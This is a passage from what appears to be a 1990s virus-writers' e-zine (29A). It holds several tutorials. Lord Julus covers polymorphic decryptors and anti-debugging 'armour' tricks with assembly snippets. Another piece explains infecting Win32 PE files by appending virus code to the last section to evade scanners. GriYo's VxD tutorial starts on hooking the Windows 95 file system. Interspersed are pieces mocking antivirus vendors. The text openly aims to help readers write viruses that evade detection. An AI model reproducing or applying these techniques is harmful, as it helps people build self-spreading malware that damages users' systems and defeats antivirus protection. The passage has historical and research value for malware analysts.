ÀÄ>ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ³ ARMOUR ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ³ decryptor ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄ-

ÃÄSUB All this part here must be ³ generated by the polymorphic ³ engine. ³ Ä-

So, the host calls the virus which calls the polymorphic decryptor. First it encounters the ARMOUR routine, then it goes into the decryptor loop which uses the Unscrambling Routine. After that the control is passed back to the virus. But, as we know how to create a polymorphic decryptor, creating a polymorphic unscrambling routine is a piece of cake now. All you must have in mind is to generate something able to make the inverse of the math operation you performed. For the beginners I suggest instead of a CALL to an unscrambling routine to use a simple XOR creg, kreg and then go further with more complicated routines.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Armouring your routines ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄOk, so you made a decryptor, completely polymorphic, not one byte there is the same in different generations and still some AV's report that this could be a virus... With the kind of decryptor I gave above, like MOF is, generating almost 2000 bytes decryptors the possibility is very small. And still we should use some techniques. Your decryptor should have in the beginning what I mentioned in the scheme: The ARMOUR. I will not get too deep into this, first because I didn't studied it enough and second of all because there are many articles out there about this. From the beginning I will say that in these days you *should* work in 386 instructions (maybe even 486). This will mess up many AV's and in extra, imagine the possibilities: you have eight 8 bit regs, eight 16 bit regs and eight 32 bit registers, plus some new segment registers ! New polymorphic ways ! Second of all, armour your calls to the decryptor. This could be done easily by removing a CALL decryptor instruction with something not so obvious, like this: mov int dec jns jmp not_good: Again, don't let the decryptor finish the code. This is followed by many AV's. If you can't make a poly engine, at least put some junk after your last RET. Anyway, in the polymorphic ARMOUR routine (which mustn't be too obvious) you should do some of these: a) Overflow the stack, like: * mov ax, sp mov sp, 0 pop bx ax, 0b00h 21h al not_good decryptor ; ; ; ; ; get keyboard status this returns al with FFh or 0h if we decrement al we'll have a signed number which will lead us to our decryptor.

mov sp, ax or simply mess with it, like: * Not SP Not SP or * Neg SP Neg SP b) Use the Prefetching Queue. Very good technique: Example 1: mov cs:[patch], 04CB4H patch: Jmp over Int 21h over: ...

; this will turn into Mov ah, 4ch

Example 2: mov cs:[patch], 0F7EBh patch: Nop Nop ... mov cs:[patch], 0000h

; this will become JMP $-7 and will be ; an infinite jump

You have to understand: normaly, the instruction at the `patch' address will be executed by the processor as a result of the Prefetching Queue. But if debugged or traced, the code will change. In the first example a 'Terminate' will occure, in the second example an infinite jump will appear. The good thing is that you can put a ';' before the mov cs:... instruction in order to easily debug your programs. c) Make very long loops doing a very simple operation (like copying code from a source that's the same with it's destination), and make these loops long: mov ds, ax mov es, ax mov di, si mov cx, 0FEFEh loop1: movsb loop loop1 d) Make calls to Interupts that do nothing, or make calls to interupts that return known values. e) Try to modify the address of INT 01, or INT 03. Then check the int table and see if they changed. If not -> go into an infinite loop, someone is tracing your code. f) Hook some interrupts (like 15 or 19) and in the handler block the keyboard (for example by copying the vector for INT 1ch into the INY 09h place) g) Check the PSP:0000 and if it's not CD20h or if the PSP is it's own parent, hook the computer. h) Get known values, like CDh at PSP:0000 and use it by adding or substracting in order to obtain what you want.

j) A very good techinque is the 'wrap around 0' technique. In order to use this you must know that when a register is increased above 0FFFFh it goes around 0 like this: 0FFFEh + 3h = 1h Let's take two numbers. One is called 'base number' (B) and the other 'increment' (I) with the propriety: K = B + I, B + I > 0FFFFh For example, we consider that K is the pointer to our code to decrypt. An usual way to get a byte from that position would be like this: mov di, K ... mov ax, word ptr cs:[di] But with the numbers B and I we can change our code to this: mov di, B ... mov ax, word ptr cs:[di + I] B + I will wrap around 0 and will give the original K. This makes things very bad for the heuristic analysers who search for the places the usual pointer registers hold. Note that numbers wrap around 0 also when they are decreased: 0h - 1h = 0FFFFh So you can also use at your choice something like [di - I] Of course, the B and I numbers will always be choosed randomly. k) Beware when using not very used instruction that may flag some AV's. Like for example AAA, AAS, DAS and so on. Just don't include these in your junk instruction table. Ok, I'll stop here, because we are not going to make this article an anti-debugging one. Armour your poly-decryptor how you can and let the real code do the real tricks.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Advanced polymorphism ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄOK, now after we have `mastered' the basics of polymorphism, if I can say so, let's take a look at ways to render the basic poly engine to what should be the perfect engine. In order to obtain this, we must add to the requirements of a perfect poly engine one more thing: * the decryptor should be able to place itself wherever into the code. Look a little at how I see the process of 'new code procreation': This is how our virus resides in memory: ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ÚÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄ¿ ³

³ ³ Virus ³ ³ Empty ³ ³ ³ ³ body ³ ³ space ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ in ³ ³ in ³ ³ ³ ³ memory ³ ³ memory ³ ³ ³ ÀÄÄÄÄÄÄÄÄÃÄÄÄÄÄÄÄÄ´ ³ ÄÄ¿ ³ ³ free ³ ³ ³__ This extra space is needed for the ³ ³ space ³ ³ ³ decryptor ³ ÀÄÄÄÄÄÄÄÄ- ³ ÄÄÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄThe poly engine will make a copy of the Virus body over the empty space: ÚÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄ¿ ³ Copy of ³ ³#########³ ³#########³ Ä Part 1 ³ virus ³ Step 1 ³#########³ Step 2 ÃÄÄÄÄÄÄÄÄÄ´ ³ body ³ ÄÄÄÄÄÄÄÄÄÄÄ> ³#########³ ÄÄÄÄÄÄÄÄÄÄÄ> ³ free ³ ³ ³ ³#########³ ³ space ³ ³ ³ ³#########³ ÃÄÄÄÄÄÄÄÄÄ´ ÃÄÄÄÄÄÄÄÄÄ´ ÃÄÄÄÄÄÄÄÄÄ´ ³#########³ ³ free ³ ³ free ³ ³#########³ Ä Part 2 ³ space ³ ³ space ³ ³#########³ ÀÄÄÄÄÄÄÄÄÄÀÄÄÄÄÄÄÄÄÄÀÄÄÄÄÄÄÄÄÄWhere '#' represents the code already encrypted using a given method. In step 2, we move the free space somewhere random into the encrypted code. Actually, we break the encrypted code in two parts: the upper part and the lower part. So, we will have some suplimentar values that we should consider: Start1 = start of first part of code End1 = end of first part of code End2 = end of second part of code We don't need more: the free space start is at End1+1 and the second part start is at End1+FreeSpace+1. After this in the free space the engine will create the decryptor. It must be able to decrypt both parts (at your choice you can encrypt them using different methods) and then give control to a place well known (usualy at the beginning of code). Here we must get rid of the decryptor ! So, after the 'Going Resident part' acted, the memory will look like this: ÚÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄ¿ ³+++++++++³ ³+++++++++³ ÃÄÄÄÄÄÄÄÄÄ´ ³+++++++++³ ³ DecrypÄ ³ ³+++++++++³ ³ tor ³ ÄÄÄÄÄÄÄÄÄ> ³+++++++++³ ÃÄÄÄÄÄÄÄÄÄ´ ÀÄÄÄÄÄÄÄÄij+++++++++³ ³+++++++++³ ³+++++++++³ ÀÄÄÄÄÄÄÄÄÄ-

'+' represents de decrypted code. We got rid of the decryptor by moving upwards the entire Part 2 and make it overwrite the Decryptor.

So, the decryptor worked ! It unscrambled the code, and gave it the control. The code went resident and rejoined his two parts becoming exactly like the original code existed. The main advantage of this thing is that the Call to the decryptor is variable. It is now almost impossible for the heuristic cleaners to locate the place of the virus and remove it, by searching for the original header after emulating the decryptor, especialy if you use some armouring techniques along with that. Here are some other ideas you may use to increase the polymorphism

level of your engine: * play with the direction (encryption/decryption to go upwards or downwards) * play with the word/byte level encryption type * after the polymorphic decryptor worked make it give control to another decryptor (this time a really sofisticated one. For more on that check out the `Decryptors' article which I will release soon which will include CoProcessor related decryptors)

ÚÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Closing ³ ÀÄÄÄÄÄÄÄÄÄÄÄSince the early days of programming, when I was trying to create self-checking executables or to include in games' executables lines like: 'This game comes from me!', I was intrigued by the internal looks of the code. I knew that you can do this kind of things only by looking at the bit level of the instructions. When I heard about viruses I was curious too. When I heard about the polymorphic routines and after I studied a couple of them I became really interested about this. I don't know if this document helps you in any way, but I would appreciate any feed-back and any ideas in this direction. Thanx. Many thanx go to: The Black Baron, Dark Avenger, Rock Steady, Dark Angel, Qark, Quantum, Hellraiser, Executioner

ÚÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ³ Lord Julus - 1997 º ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

Strategic Alliances? Bring 'em on, we love 'em! ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Rajaat / 29A "Data Fellows Forges Strategic Alliance with Top Anti-Virus Development Company" Maybe you have read these headlines on the site of DataFellows, the home of F-Prot Professional and F-Secure Antivirus and other products (for the curious amongst you with a browser and internet access, take a look at http:/ /www.datafellows.com). I was really glad to hear this, since I think this Strategic Alliance can bring forth a very good Antivirus product. Both DataFellows and the AVP team have good programmers, and one of the greatest virus researchers known in the Antivirus scene. As an end user, this would be news from heaven. I started to read on the article, as it was intrigueing...

"Helsinki, Finland/San Jose, Calif. October 1, 1997--Data Fellows, the European developer of F-PROT Professional, has formed an exclusive, strategic alliance with another superior anti-virus technology team: the AVP development team led by Eugene Kaspersky. Together these companies combine the best minds in the anti-virus world and are the foundation of the new revolutionary F-Secure Anti-Virus CounterSign Technology from Data Fellows. This new CounterSign Technology allows F-Secure Anti-Virus to be the first line of anti-virus software to combine multiple virus scanning engines into a single framework by using both the F-PROT and AVP anti-virus engines simultaneously."

So they want to combine their engines... That's a great idea! This will be much more tougher to defeat. There is no doubt we would like to challenge that product, and try to circumvent it's "excellent" double engine using scanning technique. Don't forget scanning with 2 engines will also take about double of the time it would otherwise do. That would make F-Secure Antivirus with CounterSign(tm) technology about twice as slow compared to respective other antivirus products worth their money. Anyway...

"Because the number of viruses in the world is growing at such an alarming rate, it is nearly impossible for any single anti-virus product to detect and protect against this threat," said Risto Siilasmaa, CEO and Managing Director of Data Fellows, LTD. "With our new CounterSign technology and this combination of two superior anti-virus engines such as F-PROT and AVP, the detection rates of the two engines approaches 100% and the likelihood a virus would go undetected is less than ever before."

I like the above paragraph a lot. I do acknowledge the fact that it is indeed nearly impossible for any single antivirus product to detect and protect against the new wave of viruses. So they combine their CounterSign(tm) technology and "the two superior antivirus engines F-Prot and AVP", and what do we get??? Again a single antivirus product! That's right guys. 1 + 1 = 1 in this case ;-) Stopped laughing yet? Ok...

To be to the point, these antivirus engines combined can result in a really difficult to beat antivirus product, but there is also a positive side for us, virus authors. This "Strategic Alliance" also means that in the future we do have to concentrate on one product less! Yes, they are right in respect that it is harder to beat this combined product, but it will certainly take less time than testing your virus on 2 completely different products, let alone the fact that it costs you a lot more time to write retro structures against 2 antivirus products instead of one. Afterthought: Should we also take action and form "Strategic Alliances" other groups? We probably would not benefit from a "single virus engine"..., but maybe some kind of function library for easy and clean virus writing... An API? Food for thought and another article I guess :-) People that want to read the complete story go to: (*) http://www.datafellows.com/news/pr/f-secure/st-alnc.htm

Rajaat / 29A

Stupid descriptions ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Rajaat / 29A Ok, guys. It goes like this... ;-) Try to find some description of one of your viruses on the Internet that is such an error that it is plainly visible even to people that don't understand as much about viruses as the average 29A magazine reader is doing. Append it at the end of the text file and send it around the rest of the people... If it's hilarious enough we can also include people from outside 29A, but I think this is really a joke ;-) I hope you guys are in for it. Here are two sad examples of how great the virus analysts for Symantec are... - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 < Rajaat > April Fools? (*) http://www.symantec.com/avcenter/data/rajaat.518_(1).html VirusName:Rajaat.518 (1) Aliases:none Infection Length:N/A Likelihood:rare Regions Reported:N/A Target Platform: Description: The Rajaat.518 (1) virus is smaller than average. It is 0 bytes in length. It only infects .COM files. This virus can be caught through e-mail, BBSes, or the Internet. This virus is memory-resident. After the virus has been launched, it infects other programs as they are accessed. This virus actively hides itself while it is resident in memory. This virus has never been encountered by our customers. This virus does not have any known payload (that is, it does nothing other than replicate). It does not employ encryption. It is called a multipartite virus. Multipartite viruses can infect boot records as well as files. Because of the nature of the Rajaat.518 (1) virus, Norton AntiVirus is unable to repair infected files. To remove the virus, delete and reinstall all infected files. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 < Rajaat > And this is what Symantec has to say about my TSR Companion virus (companion viruses do create COM files and don't touch the EXE files themselves). (*) http://www.symantec.com/avcenter/data/rajaat.287.html VirusName:Rajaat.287 Aliases:none Infection Length:287 Likelihood:rare Regions Reported:N/A Target Platform:COM files Description: The Rajaat.287 virus attaches 287 bytes to host files. This virus only infects .COM files. It is a "direct action" virus. The Rajaat.287 virus virus does not employ any "stealthing" mechanisms. This virus has never been encountered by our customers. This virus does not have any known payload (that is, it does nothing other than replicate). This virus propagates

identical copies of itself. It infections cannot be repaired. Delete all infected programs and replace them with clean copies. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

Greetings, Rajaat / 29A

ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÚÄ PE infection under Win32 Ä¿ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ³ by ³ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ³ Mister Sandman ³ ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ ³ Jacky Qwerty ³ ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ ÀÄÄÄÄÄÄÄÄÄÄÄ GriYo ÄÄÄÄÄÄÄÄÄÄÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÄÄ´ Introduction ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Same as we establish different ages in the evolution of computers we should establish different ages also in the evolution of computer viruses, as they advance together with the systems, platforms, and processors they intend to infect. There were not, of course, any viruses for those huge wardrobe-like computers with whom you couldn't do much more than what you can do nowadays with a supertiny pocket calculator. But since viral activity started around 1985, lots and lots of people have been crashing their balls at their chair trying to evolve and advance in viral technology. However, save for some exceptions, we have been fighting for over ten years against the same operating system, the same 16-bit crap, designed and never improved by Microsoft. That's why such a long period of time should be considered an only step, the first period of the viral existence in computers. Now this first viral age seems to have reached its end, as well as DOS, albeit it will continue working in millions of computers, all over the world. In the other hand we have Windows95 and WindowsNT (from now onwards and together with Win32s we'll call them Win32), which are being used and installed in an incredibly increasing percentage of computers. We can't say Win32 will be the future and definitive OS, but it does seem it is one of the 1st storeys the final thing is gonna be built on. This new phase of operating systems also means a new phase of viruses which will work and infect under these new scenarios. Win32 has become the most used OS in less than two years, and will surely wipe out of the map many other minoritary operating systems, such as OS/2. Virus authors have realised about this fact, and that's why a new era opens at us... the second viral age or generation, a new breed of infectors... 32-bit viruses. If you're one of those who have always dreamed about how cool would it have been to start writing viruses around 1985, when they first appeared, but it was too late for your dreams to become reality, now you have a second oportunity to become a pioneer in the VX scene. And if you're just one of those dorks whose only wish is to remain being nobody as one of who knows how many thousands of DOS virus writers and can't go further than the (true) statement "Windows95 = shit"... stop reading and go code with your open mentality to YAM, cause this won't be of your interest. Before going further in this tutorial, it must remain clear for our readers that we DO support the statement "Windows95 = shit", but proffesionality is usually a synonym of objectivity, and that's why we have to focus it with impartiallity. I think no intelligent human being in this world likes Windows95, but it's an interesting attitude to see it just as a test 32-bit OS in order to advance in the viral-oriented researching, without bearing in mind how good or bad it is, or how many bugs it has. Just say "let's go for it!".

ÄÄ´ Welcome to the new school ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This tutorial is *almost* 100% theoretical, as it intends to illustrate the so called "29A technique", which will help you in order to write compatible

viruses for Windows95 and WindowsNT and to make them much more versatile in the concerning about PE modifications. At the moment of writing this, there were _only_ four Win32 infectors (Win32.Jacky, Win32.Cabanas, Esperanto and Win32.Marburg - order of appearance), and they all have been written by 29A members, which shows the lack of Win32 virus coders by now. The contents of this article are pretty advanced and oriented to those who have already coded at least some Windows95 PE infector. If your intentions are to get started in the 32-bit virus age and begin coding some basic PE infectors, we recommend you to have a look to other previously published sources in other virus magazines; then, come back to this article and get some pretty useful clues about how to stay compatible :) This tutorial will deal with "APIs: the key stone", chapter in which we try to explain the importance of working at API level, "The KERNEL32 problem", and "The GetModuleHandle solution", which explain one of the main problems in the concerning about getting the base address of KERNEL32.dll, "GetProcAddress", showing the best way to get API addresses, "Simple PE infection", which illustrates a simpler way to infect PE files, and "Cool addings", as a preface to another article in 29A#3, which describes some features, which can be added to any Win32 virus in order to make it more complex. Before stepping into the first chapter it's a honor to say that the pioneer of these techniques, the guy who wrote the first Win32 infectors, and thus, the one who should be known for having developed the first 32-bit viruses is Jacky Qwerty/29A, the author of Win32.Jacky, and Win32.Cabanas. It would be completely unfair not to mention -and even congratulate- him.

ÄÄ´ APIs: the key stone ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The most important thing you'll have to bear in mind while writing your 32bit viruses for Windows platforms is to always! use APIs. Why are APIs that important? the answer is easy... they are the only point Windows95 and WindowsNT have in common. Viruses have to look as closer as possible as normal applications, and there are no normal applications in Win32 which don't use APIs in order to perform its functioning. Using apparently neat tricks such as calling interrupt 21h within a Win32 application is the worst thing your Win32 virus can do, as it won't be able to stay compatible and besides will be 100% dependent of the presence of DOS. While nowadays this last reason does not represent any serious trouble, it will for sure be a pain in the near future as DOS is about to be wiped out of our computers as soon as new versions of Windows95 or WindowsNT are released.

ÄÄ´ The KERNEL32 problem ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Once we have assumed we're gonna work at API level, the very first necessary thing is to locate KERNEL32.dll, as it is the library which contains the address of all the API functions we need to use in our virus. But, there is a big problem here... the address of KERNEL32 is not fix at all. It has not been the same in any of the known versions of Windows95 as well as for WindowsNT... and this means we can't (or at least should not) assume hardcoded values because they'd force our virus to be compatible with only one of the Win32 platforms, and what we're looking for is just the opposite thing.

ÄÄ´ The GetModuleHandle solution ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The solution is always in APIs. There's an API, "GetModuleHandle", which is used in order to get the address of a given module. And, of course, this is of our interest since KERNEL32.dll is a module. But now comes a pretty curious thing... how the fuck is it possible to call an API function if we're

looking for KERNEL32 just because we need it to be able to call APIs? Quite similar to the question "what was first, the egg or the hen?". It is simple. Just don't infect PE files which don't import any function of KERNEL32.dll (almost impossible tho), so you will make sure, every file you infect imports something from KERNEL32.dll, so it will be possible for you to look in the IAT for the RVA of the GetModuleHandle API, and then call it from your code. Once having called this API by means of its RVA you'll have the address of KERNEL32.dll waiting for you in EAX ;)

ÄÄ´ GetProcAddress ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Now it's ok, you already have the address of KERNEL32.dll, but... where are the address of the APIs you need? how will you call them? the answer is easy again... by means of another API, "GetProcAddress", which makes possible to get the address of any API function in any given module. Now that you have already guessed the base address of KERNEL32.dll, all you need to do is to specify the name of the API you're looking for in that module and call the GetProcAddress API. A table of API names and a good loop are strongly recommended in order to save a good amount of bytes ;) It's understood that, same as for GetModuleHandle, you need to get the RVA of GetProcAddress in the IAT of your victims, while infecting them, because there's no way to know it at the time you need to call it :) Obviously, both the GetModuleHandle, and the GetProcAddress solutions might not work under certain strange circumstances. For the case of this happens, you should have some extra routines which, by means of undocumented tricks, could get the address of both APIs. Two good examples of this are included in the source code of the Win32 viruses published in this issue of 29A.

ÄÄ´ Simple PE infection ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This very last point of the so called "29A technique" deals with file handling in Win32 (API-based, of course) and the PE infection itself. There are two very important things on this: file mapping in memory and attachment to the last section declared in the PE header. File mapping in memory is a new way of handling files Win32 platforms provide in order to make things much easier. Now you don't need to read, write or lseek anymore. Just map any file in memory and you'll get a base address where it has been mapped. From that base address, just reference any offset and read from it, write into it, and do whatever you want, with no need to lseek to any position... it's mapped in your memory :) And the second and last point is extremely important. Before Jacky Qwerty came up with this technique, all the Win95 viruses infected PE files by modifying the PE header and inserting a new section into it, then copying the viral body into that last section. This was very easy to detect, apart from being a very tedious method and taking a lot of bytes in your code. The solution we provide to this in our 29A technique is to update the size of the last section of the PE file in the PE header, including the size of our virus, and then appending our code to the end of this section. Harder to detect, easier to write ;)

ÄÄ´ Cool addings ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ There are a lots of things which have not been mentioned in this tutotial,

albeit they are being already used and enjoyed, such as the implementation of Structure Exception Handling (SEH), 32-bit polymorphism, and many other cool techniques which make our Win32 viruses much more stable and robust. These and other topics will be referenced in our next issue, where a lot of code examples will be available to make possible to check these new tricks. Till then, put the 29A technique in practice, and do not forget to make use of the tools we provide to you in this issue of 29A (PEWRSEC, GETPROC, and the 29A INC files, which are extremely useful to code your Win32 viruses).

Mister Sandman, bring me a dream.

Virus oriented VxD writing tutorial ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> GriYo/29A This tutorial represents just a minimum introduction to VxD programming. To dominate the subject it deals with you need something more than this tutorial. Nevertheless, I've tried to explain everything very clearly, so noone stays on land ;)

What is a VxD? ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Well, let's go with what we're interested on. A VxD is a 32-bit code chunk which executes in protected mode with RING-0 priviledge level. This is because they have to deal with system's resources, such as hardware devices and installed software. I hope after reaching this point there is no doubt about our intentions, right? it's about writing a VxD to control installed software (of course!). To achieve this, we'll pinch the system where we can cause more harm, the file system.

How to start ÄÄÄÄÄÄÄÄÄÄÄÄ Before getting on to work we must get some tools. This software is available in the Microsoft Developer Network and a couple places more. You will need to get your hands on them if you're interesting on writing VxDs.

- Microsoft Macro Assembler (i used 6.11c). - Linear-Executable Linker (i used 1.00.058). - Microsoft SDK's ADDHDR.EXE and MAPSYM32.EXE.

Since the first viruses for Windows95 written as VxD sources started to go around, I've found many people who look for the includes needed to compile these sources. You will need the following files from the SDK:

- VMM.INC -

: in this file you can find the macros and the defines of the Virtual Machine Manager services. DEBUG.INC : only if you need to debug. SHELL.INC : this file declares the services which provide access to many Windows functions, such as MessageBox. IFS.INC and IFSMGR.INC: they're only necessary if we want to fuck around with the Windows95 file system.

The include files appear in the source trices.

between the .xlist and .list direc-

Writing a VxD ÄÄÄÄÄÄÄÄÄÄÄÄÄ Writing a VxD is something extremely easy if we use a generic source on which we will add our code. Let's divide the work into several stages, this way we may install and test the virus once we've completed each stage. First start with a generic VxD which contains the segment, VxD and control process declares. Later add the initialization procedure in real mode which is, as we will see, the well-known residency check. Now write the VxD initialization and file-hooking processes. And finally write the remaining VxD procedures.

VxD segments ÄÄÄÄÄÄÄÄÄÄÄÄ Inside the VxD we can find five different types of segments, each of them with its own characteristics. So as to declare these segments we can use the following macros:

- VxD_CODE_SEG and VxD_CODE_ENDS: also called _LTEXT, this is the protected mode code segment. The declare of this segment is compulsory. - VxD_DATA_SEG and VxD_DATA_ENDS: also called _LDATA, they declare the data segment for global use in the VxD. It's also needed to declare it. - VxD_ICODE_SEG and VxD_ICODE_ENDS: also called _ITEXT. These two macros define the beginning and the end of the protected mode initialization code segment. This segment is optional and is discarded once completed the initialization (after receiving the Init_Complete message). - VxD_IDATA_SEG and VxD_IDATA_ENDS: also called _IDATA, here we may write all the necessary data for the initialization, which are discarded once the Init_Complete message is received. Its use is optional. - VxD_REAL_INIT_SEG and VxD_REAL_INIT_ENDS: this optional segment, called also _RTEXT, contains the procedure which the Virtual Machine Manager will call before loading the rest of the VxD. It is discarded once the procedure returns.

All these segments, except for _RTEXT (real mode initialization), are protected mode segments over a flat memory model. This means offsets are 32bit and we will have to use the "offset32" macro in all the places in which we used "offset" before. Now CS, DS, ES and SS can't be modified, but instead we can use FS and GS.

VxD declaration ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ In order to declare our VxD we'll use the following macro:

Declare_Virtual_Device name, major version, minor version, control procedure, device-ID, init order, V86 API handler, protected mode API handler

Fuck, at first sight it looks a terrible thing, but lemme write an example, which i'm sure will change this first impression. We'll declare a VxD named ViRuS, which will be 1.0 version of our virus.

Declare_Virtual_Device ViRuS,1,0,VxD_Control,Undefined_Device_ID,,,

As you can see I haven't used the last parameters, as we ain't neither interested in providing an API for other programs nor in init order (later?).

VxD-ID ÄÄÄÄÄÄ It is a number which lets us differ an VxD from other. This is necessary if the VxD provides other programs an API or if it provides services to other VxDs. In our case we'll use Undefined_Device_ID as ID.

VxD Control Procedure ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The Virtual Machine Manager sends control messages to the VxD using this procedure. This way it notifies several VxDs about certain events. Followin our last example, our control procedure would look like this:

BeginProc VxD_Control

; Name of control procedure which we ; declared with the VxD

Control_Dispatch Sys_Critical_Init, ViRuS_Critical_Init Control_Dispatch Device_Init, ViRuS_Device_Init EndProc VxD_Control

By doing this we're declaring which procedures will run whenever certain system control messages are received. That is, run the ViRuS_Critical_Init procedure when a Sys_Critical_Init is received, and whenever a Device_Init message is received, run the ViRuS_Device_Init procedure.

System Control Messages ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ As we have said, the Virtual Machine Manager sends messages to VxDs so as to notify about certain changes in the system. There are many different messages, but, as we are only beginners, we are interested just in a few:

- Sys_Critical_Init: this is the first message our VxD will receive. As interruptions haven't been enabled yet, neither Simulate_Int nor Exec_ Int may be used. Other init services are at our disposal, such as, Get_ Exec_Path, which will provide us with the directory to install our VxD. - Device_Init: second message, which tells us interruptions are available now. It will be there, where we'll hang to the file system. - Init_Complete: third and last message related to system init. On return from the procedure which controls this message, the Virtual Machine Manager will discard the segments which contain code and data for the init (_ITEXT and _IDATA respectively). - System_Exit: this is the first message we will get on system shut down. Although interruptions are enabled, the services Simulate_Int and Exec_ Int mustn't be used. - Sys_Critical_Exit: last shut down message, everything is clear...

In order to tell Windows95 to load our VxD we must add a line, DEVICE=VIRUS.VxD, to the [386Enh] section in the SYSTEM.INI, then copy the VxD to the \SYSTEM directory and reboot the system. Another solution is shown, for instance, in the Win95.Lizard virus by Reptile/29A, included in this issue. The trick consists on using the \IOSUBSYS directory. Windows95 may load a VxD dinamically, which is very interesting. However it carries the use of new messages to notify the dinamic start and stop. These techniques are not included in the objectives of this article because they are part of a more advanced subject and #$%!@!!! because I don't wanna waste the rest of my life writing this! :P

Real mode initialization ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Thsi is the only part of a VxD in real mode. It runs on start of VxD load an initialization process. This procedure may be used to avoid the loading of the VxD, the loading of Windows, etc. We will use it for our residency check, and avoid loading again the VxD if it was already loaded. The Virtual Machine Manager calls this procedure with the following parameters:

AX

-> VMM version number. AH -> major version. AL -> minor version.
